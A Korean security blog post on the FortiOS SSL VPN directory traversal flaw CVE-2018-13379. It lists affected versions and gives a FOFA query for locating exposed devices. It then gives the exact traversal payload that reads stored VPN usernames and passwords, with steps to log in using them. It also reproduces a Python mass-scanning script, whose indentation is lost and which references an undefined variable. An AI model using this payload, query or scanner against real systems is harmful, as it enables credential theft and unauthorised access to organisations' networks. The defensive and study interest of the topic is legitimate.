1. 개념
FortiOS에서 SSL VPN Directory Traversal 취약점이 존재한다.
심각도(CVSS V3)는 10점만점에 7.5점이고 최근 11월 해커가 해당 취약점을 이용하여 5만개의 노출된 암호를 유출하여 더욱 문제가 되었다. 노출된 IP는 각 공공기관, 금융권도 포함되어있다.
2. 취약점 설명
이 취약점은 /remote/fgt_lang? 페이지의 lang 매개변수의 필터링을 제대로 수행하지 못해 발생한다.
해당 공격이 성공하면 해당 장비의 ID, Password를 알아내 장비에 접근이 가능하다.
1) 영향을 받는 버전
FortiOS/5.6.3 ~ 5.6.7, FortiOS/6.0.0 ~ 6.0.4
2) FOFA
body="FortiToken clock drift detected" && port=10443
3.PoC (Proof Of Concept)
1) 로그인 페이지 접근
취약한 버전의 Forti SSL VPN에 접근한다.
2) Directory Traversal 공격 수행
요청 URL에서 lang 매개변수에 directory Traversal 공격을 한 후 sslvpn_websession으로 이동한다.
2.1) Payload
[Target IP]/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
3) 사용자 ID, Password 확인
취약한 버전인 경우 사용자의 ID, Password가 노출되는것을 확인할 수 있다.
4) 로그인 수행
확인된 ID, Password를 이용하여 장비에 접근이 가능해진다.
4. Exploit
취약점 도구를 이용하여 공격을 수행하면 빠르게 확인할 수 있다.
github에 많은 Exploit이 있지만 B1ada0 계정의 코드를 가져왔다.
#git clone https://github.com/B1anda0/CVE-2018-13379
#cd CVE-2018-13379
#ls
url.txt를 생성한 후 text파일에 테스트할 URL을 넣고 해당 python파일을 실행시키면 된다.
#python CVE-2018-13379.py url.txt
import requests,sys,colorama
from colorama import *
init(autoreset=True)
def verify():
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}
payload= '/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
poc=urls+payload
try:
requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告
response=requests.get(poc,headers=headers,timeout=15,verify=False)
if response.status_code==200 and "fgt_lang" in response.content:
print(u'\033[1;31;40m[+]{} is fortios directory traversal vulnerability'.format(urls))
#将漏洞地址输出在Vul.txt中
f=open('./vul.txt','a')
f.write(urls)
f.write('\n')
else:
print('\033[1;32;40m[-]{} None'.format(urls))
except:
print('{} request timeout'.format(urls))
if __name__ == '__main__':
print (banner)
if len(sys.argv)!=2:
print('Example:python CVE-2018-13379.py urls.txt')
else:
file = open(sys.argv[1])
for url in file.readlines():
urls=url.strip()
if urls[-1]=='/':
urls=urls[:-1]
verify()
print ('Check Over')
[참고]
KISA: www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35101
이스트 시큐리티: blog.alyac.co.kr/3406
CSDN: blog.csdn.net/sinat_40293958/article/details/107206259
News: www.bleepingcomputer.com/news/security/passwords-exposed-for-almost-50-000-vulnerable-fortinet-vpns/
'Hacking & Security > Vulnerability' 카테고리의 다른 글
Tongda OA file upload AND RCE Vulnerability (0) | 2021.02.27 |
---|---|
Citrix ADC and Gateway RCE Vulnerability (CVE-2019-19781) (2) | 2021.02.20 |
Cisco ASA Read Only Path Traversal Vulnerability (CVE-2020-3452) (0) | 2020.10.04 |
Netgear_WGR614v10 Authentication bypass Vulnerability (CVE-2017-5521) (0) | 2020.10.04 |
NetGear_DGN2200 ping.cgi RCE Vulnerability (CVE-2017-6077) (0) | 2020.10.03 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊